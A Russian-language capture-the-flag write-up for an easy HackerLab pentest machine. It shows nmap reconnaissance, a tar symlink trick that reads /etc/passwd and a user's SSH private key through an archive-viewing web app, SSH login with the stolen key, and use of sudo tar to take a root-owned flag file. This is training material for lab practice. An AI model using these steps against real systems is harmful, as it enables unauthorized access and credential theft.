Writeup Pentest Machine | Письмо | HackerLab (WriteUp)

MailHackerlab.webp

Название: Письмо
Категория: Pentest Machines
Уровень: лёгкий
Ссылка на задание: https://hackerlab.pro/en/categories/pentest-machines/39f00204-43ec-4f97-81c6-e59f39721c0d
Баллы: 300

Reconnaissance

Первый делом, когда мы получили IP адресс цели, мы сканируем порты на наличие запущенных служб. Используем nmap с такими ключами:
nmap -v -A -sC -sV {IP}
и получаем соответсвующий вывод, на сервере активно 2 службы - SSH (22) и Веб-сервер (8000).
1780481968479.webp


Exploitation

На сайте некий проект Wallhack, который умеет читать архивы и выводит их содержимое.
1780482067150.webp

Достаточно много вариаций для атаки, однако там атака Tar bad symlink (CWE-61). Создаём в директории ссылку на файл /etc/passwd:
ln -s /etc/passwd exploit
и теперь создаём архив:
tar -cvf exploit.tar exploit
Загружаем архив на сервер и получаем /etc/passwd от сервера, там же и находим пользователя terminal.
1780482132245.webp


Далее пробуем получить его приватный ключ для доступа по SSH:
ln -s /home/terminal/.ssh/id_rsa
Нам выводится ключ, супер!
1780482170587.webp


Копируем его и сохраняем к себе на рабочий стол с любым именем.
Теперь даём ему ограниченные права, чтобы SSH не ругался.
chmod 600 keyforterminal
И теперь подключаемся по SSH:
ssh -i keyforterminal terminal@{IP}
Готово, мы в системе!
1780482207806.webp

Tar Slip

Нам важно понять, какие права у нас есть для пользователя terminal, пишем в терминал:
sudo -l
Вывод следующий:
tar NOPASSWD
1780482240253.webp


Сразу же в голову приходит решение, давайте его реализуем, пишем такую команду:
sudo tar -cvf flag.tar /root/flag.txt
Архив создался, а внутри наш флаг, теперь его нужно как-то открыть... Давайте узнаем есть ли здесь python?
python --version
Хорошие новости, Python есть в системе, создаём сервер:
python -m http.server 8080
1780482335721.webp

и теперь через веб-панель скачиваем наш архив:
http://{IP}:8080/flag.tar
Распаковываем и забираем флаг!
1780482362172.webp
 
Последнее редактирование:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →

Популярный контент

🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab